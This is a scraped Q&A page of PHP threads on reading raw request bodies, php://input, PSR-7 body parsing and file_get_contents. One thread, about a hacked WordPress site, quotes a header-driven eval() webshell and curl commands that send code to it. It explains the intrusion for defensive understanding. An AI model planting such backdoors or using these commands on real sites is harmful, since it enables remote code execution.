PHP Get the Raw HTTP Request (php://input not working) - php

I'm trying to access the raw HTTP request sent to the server in PHP.
However, all the input/output streams are not working.
I can't use php://input, and I don't want to have to "interpolate" the request from the arrays such as $_COOKIES, $_POST, etc. $_POST, $_GET and the other arrays are working fine. I'm using WAMPServer on Windows 7.
Can anyone help me fix the problem with the input/output streams or find another way to get the raw request data?

From the PHP docs:
php://input is a read-only stream that allows you to read raw data from the request body
which means you can only read body data, not headers or the raw request. If you're running under Apache, you can use the function apache_request_headers to get all the headers. To get the "request" line (the first line of the request), I suppose you need to concat the strings you can get from the $_SERVER variable.

Related

Can a hacker pass in parameters to $_SERVER?

So our website unfortunately got hacked.
They created a file in our wp-admin directory called wp-update.php containing this code:
<?php #eval($_SERVER['HTTP_4CD44849DA572F7C']); ?>
My question is how can the hacker pass in his script using $_SERVER?
Yes a hacker can send data into $_SERVER, it contains HTTP headers (cf. the documentation) with a simple curl command you can inject data.
curl -H '4CD44849DA572F7C: echo "hello from server";' http://example.com
Properties of the $_SERVER superglobal with names starting with HTTP_ are just representations of the HTTP request headers.
Since request headers are completely under the control of whoever is making the request, it is trivial to insert data there.
Any HTTP client will let the attacker specify whatever headers they like. An example in cURL's command line client would look like:
curl -H "4CD44849DA572F7C: code goes here" http://example.com/your-hacked.php

PSR-7: getParsedBody() vs getBody()

Scenario 1 sending x-www-form-urlencoded data
POST /path HTTP/1.1
Content-Type: application/x-www-form-urlencoded
foo=bar
Running print_r($request->getParsedBody()); returns fine:
Array
(
[foo] => bar
)
Running print_r($request->getBody()->getContents()); returns a string foo=bar
Scenario 2 sending application/json data
POST /path HTTP/1.1
Content-Type: application/json
{
"foo": "bar"
}
Running print_r($request->getParsedBody()); returns an empty array. Array ( )
But, running print_r($request->getBody()->getContents()); returns fine:
{"foo":"bar"}
Is this expected behavior?
Meaning, if we're sending x-www-form-urlencoded data, we should use getParsedBody().
While getBody()->getContents() should be used if we're sending application/json?
Additional info:
Request object is created using:
$request = \Laminas\Diactoros\ServerRequestFactory::fromGlobals(
$_SERVER, $_GET, $_POST, $_COOKIE, $_FILES
);
Message body:
In a PSR-7 library, the message body is abstracted by the StreamInterface. Any implementation of this interface MUST wrap a PHP stream and, of course, should provide the proper functionality to perform the specific read/write/seek operations on it. PHP provides a list of I/O streams, from which php://input is suitable for the task in question.
php://input is a read-only stream that allows you to read raw data from the request body. php://input is not available with enctype="multipart/form-data".
In this context, when a request to the server is performed, the request body data (regardless of its data type) is automatically written to the php://input stream, in raw format (string). The information can later be read from it by calling StreamInterface::getContents, StreamInterface::__toString, or StreamInterface::read (which would probably make use of stream_get_contents(), or similar, in their implementation).
Note: The method StreamInterface::__toString is automatically called when the object representing the message body, e.g. the instance of the class implementing StreamInterface is cast to a string. For example, like this - see Type Casting in PHP:
$messageBodyObject = $request->getBody(); // implements StreamInterface
$contentOfMessageBody = (string) $messageBodyObject; // cast to string => StreamInterface::__toString is called
echo $contentOfMessageBody;
Parsed body:
In regard of the PSR-7, the parsed body is a "characteristic" of the applications where PHP is "used as a server-side application to fulfill HTTP requests" (in comparison with the applications where PHP is used as "an HTTP client") - see Summary of the PSR-7 Meta Document. So, the parsed body is a component of the ServerRequestInterface only.
The parsed body (read the comments of ServerRequestInterface::getParsedBody and ServerRequestInterface::withParsedBody) is thought as a representation in a "parsed" form (array, or object) of the raw data (a string) saved in the php://input stream as the result of performing a request. For example, the $_POST variable, which is an array, holds the parsed body of a POST request, under the conditions presented bellow.
Relevant use-cases:
If a POST request is performed and the header Content-Type is application/x-www-form-urlencoded (for example when submitting a normal HTML form), the content of the request body is automatically saved into both the php://input stream (serialized) and the $_POST variable (array). So, in the PSR-7 context, calling both StreamInterface::getContents (or StreamInterface::__toString, or StreamInterface::read) and ServerRequestInterface::getParsedBody will return "valid" values.
If a POST request is performed and the header Content-Type is multipart/form-data (for example when performing a file(s) upload), the content of the request body is NOT saved into the php://input stream at all, but only into the $_POST variable (array). So, in the PSR-7 context, only calling ServerRequestInterface::getParsedBody will return a "valid" value.
If a POST request is performed and the header Content-Type has other value than the two presented above (for example application/json, or text/plain; charset=utf-8), the content of the request body is saved only into the php://input stream. So, in the PSR-7 context, only calling StreamInterface::getContents (or StreamInterface::__toString, or StreamInterface::read) will return a "valid" value.
Resources:
PSR-7: HTTP message interfaces
PSR-7 Meta Document
How to get body of a POST in php?
PHP "php://input" vs $_POST
php://input - what does it do in fopen()? (the comment to the answer)
The answer by #dakis is correct, but I find it a bit ambiguous in answering the original question of why Scenario 2 failed.
From a PSR standpoint, the behaviour is correct (as #dakis said):
body returns a stream to the request body
parsedBody is a characteristic of the request and can contain a parsed representation of the body (but is not required to), as mentioned in the PHPDoc of ServerRequestInterface::getParsedBody:
Otherwise, this method may return any results of deserializing the request body content; ...
From a usefulness perspective, laminas-diactoros is lacking and, in my opinion, half-baked. This library doesn't seem to do a lot more than passing around data already parsed by PHP ($_GET/$_POST..). A better implementation would have handled the specific content-type for use with parsedBody and would have automatically thrown or handled bad POST data.

How to get "php://input" data if I'm using Content-Type multipart/form-data

Is there an alternative?
I'm using Advanced Rest Client for testing an API I'm developing.
I send a JSON with POST.
In code, $_FILES is fine, but file_get_contents("php://input") is empty.
If I don't send any files, then I can use file_get_contents("php://input")
PHP version: 5.6.4
As GhostGambler states, php://input is not available with enctype="multipart/form-data".
You should not attach the JSON as a file to your request, you should add it as the request body to the post request, setting the Content-Type header (application/json). Then it will be available in php://input.
Ok, so I ended up giving a name to my JSON data, like 0=[{"q":"w"}] and then get it with $_POST['0']. And the files with $_FILES
Here's how it looks in Advanced REST Client:
Most likely accessing any of the POST/FILES superglobals consumes php://input.
In any case, if you send a JSON payload you cannot have a multipart-formdata payload too so $_FILES should be empty. If you need to handle both on the same page (bad idea IMO) make sure to check the content type header or some other information outside the request's body before accessing either $_FILES or php://input
php://input is a read-only stream that allows you to read raw data
from the request body. In the case of POST requests, it is preferable
to use php://input instead of $HTTP_RAW_POST_DATA as it does not
depend on special php.ini directives. Moreover, for those cases where
$HTTP_RAW_POST_DATA is not populated by default, it is a potentially
less memory intensive alternative to activating
always_populate_raw_post_data. php://input is not available with
enctype="multipart/form-data".
http://php.net/manual/de/wrappers.php.php
Since HTTP_RAW_POST_DATA is marked deprecated, I guess you are somewhat unlucky. I do not know alternatives.
Edit: Well, you could try php://stdin / STDIN, although I do not know if this works with PHP in a webserver ... maybe just try it out.

json_decode with file_get_contents

I am trying to use PHP to echo the contents as plain text so that I can use it my application.
I am trying to obtain the contents of http://www.revctrl.com/api/projects/231 which is in jSON format then convert it to an associated array then manually echo the contents in a nice and neat format. But for some reason, file_get_contents is returning NULL everytime.
I have no clue what is wrong with the code.
$jsonData = json_decode(file_get_contents("https://www.revctrl.com/api/projects/231"), true);
The link works in the browser. The jSON output is valid (checked using http://jsonlint.com/).
Any idea why I get a null from file_get_contents?
Is there any server setting that needs to be set to allow outside links to be accessible?
file_get_contents just discards the server response body in case the HTTP status code indicates the some kind of error; and standard PHP error reporting won’t give you a much of a clue either in case you’re using the function to make an HTTP request.
You can pass in an HTTP context via stream_context_create, setting the option ignore_errors to true – then you will get the error message description the server has likely send in the response body returned.
Use var_dump to output it – then you should be able to figure out what goes wrong on the remote end.

Can't read raw POST body data - how to do this in this example?

I'm setting an API for my server for another developer. I'm currently using Flash AIR to send POST data to my server, and simply extract the variables as in
$command = $_POST['command'].
However, he's not using Flash, and is sending data like so:
https://www.mysite.com POST /api/account.php?command=login HTTP/1.1
Content-Type: application/json
Connection: close
command=login
params {"pass":"12345678","token":"","appID":"theirApp","user":"johnnyb","ver":"2.0","Library_ID":"1"}
My server is returning him an error saying that the 'command' parameter is missing.
What do I need to do my end to extract the $_POST var 'command' from his above data?
I've tried file_get_contents('php://input') and http_get_request_body(), but although they don't error, they don't show anything.
Thanks for your help.
The request claims that it is sending JSON.
Content-Type: application/json
However, this:
command=login
params {"pass":"12345678","token":"","appID":"theirApp","user":"johnnyb","ver":"2.0","Library_ID":"1"}
… is not JSON.
If you get rid of everything before the { then it would be JSON and you should be able to read it with file_get_contents('php://input') (and could then pass it through a decoder.
I've tried file_get_contents('php://input') and http_get_request_body() … they don't show anything.
They should work.
When I print out file_get_contents('php://input') for the comms … I get command=login, yet...
I thought you said you didn't get anything
if(!isset($_POST['command']))
$_POST will only be populated for the two standard HTML form encoding methods. If you are using JSON then it won't be automatically parsed, you have to do it yourself (with valid JSON input (so the additional data would need to be encoded in the JSON text with the rest of the data)), file_get_contents('php://input') and decode_json).
"Content-Type should be www-form-urlencoded" from #Cole (correct answer)
More info here: http://www.w3.org/TR/html401/interact/forms.html#h-17.13.4.1
The command parameter needs to be part of the data, and the whole thing should be valid JSON. As is, command=login, it is not valid JSON.
Add it to the params object or make a containing object, like
{
command:'login',
params :{"pass":"12345678","token":"","appID":"theirApp","user":"johnnyb","ver":"2.0","Library_ID":"1"}
}

Categories